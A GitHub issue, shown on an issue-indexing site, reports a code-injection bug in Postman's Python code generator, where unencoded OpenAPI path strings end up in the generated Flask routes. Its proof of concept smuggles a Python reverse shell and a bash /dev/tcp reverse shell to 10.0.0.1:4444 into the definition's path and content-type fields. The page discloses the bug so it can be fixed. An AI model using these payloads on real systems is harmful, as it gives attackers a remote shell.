postmanlabs / postmanlabs/postman-code-generators

Python Code Generator does not encode payloads and could be used to inject malicious code

Open
#624 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

codegen
Dominant language
JavaScript
Stars
1k
Forks
381
PR merge metrics
No merged PRs in 30d

Description

Describe the bug
Python code generator does not encode payloads and could be used to inject malicious payloads.

To Reproduce
If you create a definition as follows, you can see the Python code generation does not encode the paths data that is sent.

{
    "openapi": "3.0.2",
    "info": {
        "version": "1.0.0",
        "title": "Code",
        "description": "Code Proof of concept"
    },
    "paths": {
        "/nothing/code-PoC', methods=['get']);import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh');#": {
            "get": {
                "operationId": "CodeInjection",
                "responses": {
                    "200": {
                        "description": "Let's do this!",
                        "content": {
                            "application/json\"'; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 | echo \"": {}
                        }
                    }
                }
            }
        }
    }
}

This results in:

from flask import Blueprint, request
from webargs.flaskparser import parser
from marshmallow import Schema, fields
from ..schemas import model
from .. import impl

bp = Blueprint('nothing', __name__)


@bp.route('/nothing/code-PoC', methods=['get']);import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh');#', methods=['get'])
def CodeInjection():

    return impl.nothing.CodeInjection()

Screenshots
image
image

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start by locating the Python generator entry point that renders OpenAPI paths and reproduce the issue with the supplied definition. Verify the generated route cannot interpret path or payload data as Python or shell code, and add a regression test using the proof-of-concept input if the repository has an applicable test location.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript, python
Domain
devtools, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
35/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.